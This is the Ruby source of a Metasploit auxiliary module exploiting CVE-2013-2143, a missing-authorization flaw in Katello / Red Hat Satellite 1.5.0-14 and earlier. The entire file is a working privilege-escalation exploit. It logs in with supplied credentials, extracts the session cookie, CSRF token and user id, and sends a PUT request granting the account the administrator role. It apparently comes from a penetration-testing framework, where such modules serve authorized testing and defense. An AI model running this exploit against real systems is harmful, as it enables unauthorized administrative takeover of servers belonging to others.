149 lines
4.1 KiB
Ruby
149 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize
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super(
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'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
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'Description' => %q{
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This module exploits a missing authorization vulnerability in the
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"update_roles" action of "users" controller of Katello and Red Hat Satellite
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(Katello 1.5.0-14 and earlier) by changing the specified account to an
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administrator account.
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},
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'Author' => 'Ramon de C Valle',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-2143'],
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['CWE', '862'],
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['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
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],
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'DisclosureDate' => 'Mar 24 2014'
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)
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('USERNAME', [true, 'Your username']),
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OptString.new('PASSWORD', [true, 'Your password']),
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OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
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], self.class
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)
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end
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def run
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print_status("Logging into #{target_url}...")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
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'vars_get' => {
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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}
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)
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if res.nil?
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print_error('No response from remote host')
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return
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end
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if res.headers['Location'] =~ /user_session\/new$/
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print_error('Authentication failed')
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return
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else
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session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
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if session.nil?
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print_error('Failed to retrieve the current session')
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return
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end
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end
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print_status('Retrieving the CSRF token for this session...')
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res = send_request_cgi(
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'cookie' => "_katello_session=#{session}",
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'dashboard')
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)
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if res.nil?
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print_error('No response from remote host')
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return
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end
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if res.headers['Location'] =~ /user_session\/new$/
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print_error('Authentication failed')
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return
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else
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session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
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if session.nil?
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print_error('Failed to retrieve the current session')
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return
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end
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end
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if res.headers['Location'] =~ /user_session\/new$/
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print_error('Failed to retrieve the user id')
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return
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else
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csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
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csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
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if csrf_token.nil?
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print_error('Failed to retrieve the CSRF token')
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return
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end
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user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
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if user.nil?
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print_error('Failed to retrieve the user id')
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return
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end
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end
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print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
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res = send_request_cgi(
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'cookie' => "_katello_session=#{session}",
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'headers' => {
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'X-CSRF-Token' => csrf_token
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},
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'method' => 'PUT',
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'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
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'vars_post' => {
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'user[role_ids][]' => '1'
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}
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)
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if res.nil?
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print_error('No response from remote host')
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return
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end
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if res.headers['X-Message-Type'] =~ /success$/
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print_good('User updated successfully')
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else
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print_error('Failed to update user')
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end
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end
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def target_url(*args)
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(ssl ? 'https' : 'http') +
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if rport.to_i == 80 || rport.to_i == 443
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"://#{vhost}"
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else
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"://#{vhost}:#{rport}"
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end + normalize_uri(target_uri.path, *args)
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end
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end
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